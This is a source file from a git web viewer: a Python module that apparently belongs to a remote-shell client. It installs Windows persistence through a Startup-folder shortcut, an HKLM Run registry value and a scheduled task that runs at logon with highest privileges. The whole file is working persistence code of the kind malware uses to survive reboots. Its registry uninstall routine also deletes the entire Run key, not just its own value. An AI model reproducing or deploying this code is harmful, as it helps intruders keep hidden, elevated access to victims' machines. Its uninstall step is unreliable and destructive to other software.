summaryrefslogtreecommitdiff
path: root/client/autostart.py
blob: d980a06dee9a064d9aca647b0167fc1a38f4e65a (plain)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
'''
    Handles multiple powerful persistence
    alternatives with classes that install
    & uninstall these methods.

    Verified: 2021 February 6
    * Follows PEP8
    * Tested Platforms
        * Windows 10
'''

from client.state import ClientStatic
from shared.helper import Helper
from shared.state import Static

import os


class AutoShell:

    __STARTUP_DATA = Helper.join('[InternetShortcut]',
                                 f'URL=file://{Static.ROOT}')
    __STARTUP_PATH = (os.environ['APPDATA']
                      + r'\Microsoft\Windows\Start Menu'
                      + r'\Programs\Startup\{}.url'.format(
                            ClientStatic.NAME))

    @staticmethod
    def install():
        Helper.write_file(AutoShell.__STARTUP_PATH,
                          AutoShell.__STARTUP_DATA,
                          Helper.WRITE)

    @staticmethod
    def uninstall():
        try:
            os.remove(AutoShell.__STARTUP_PATH)
        except OSError:
            pass


class AutoRegistry:

    __REG_KEY = (r'HKEY_LOCAL_MACHINE\SOFTWARE\Micro'
                 r'soft\Windows\CurrentVersion\Run')

    @staticmethod
    def install():
        assert Helper.run('reg.exe add {} /v "{}" /t reg_sz /f /d "{}"'.format(
            AutoRegistry.__REG_KEY, ClientStatic.NAME, Static.ROOT
        ), True), 'Registry install failed'

    @staticmethod
    def uninstall():
        assert Helper.run('reg.exe delete {} /f'.format(
            AutoRegistry.__REG_KEY
        ), True), 'Registry uninstall failed'


class AutoSchedule:

    @staticmethod
    def install():
        assert Helper.run((
            'schtasks.exe /create /f /sc onlogon /rl highest '
            f'/tn "{ClientStatic.NAME}" /tr "{Static.ROOT}"'
        ), True), 'Task scheduler install failed'

    @staticmethod
    def uninstall():
        assert Helper.run('schtasks.exe /delete /f /tn "{}"'.format(
            ClientStatic.NAME
        ), True), 'Task scheduler uninstall failed'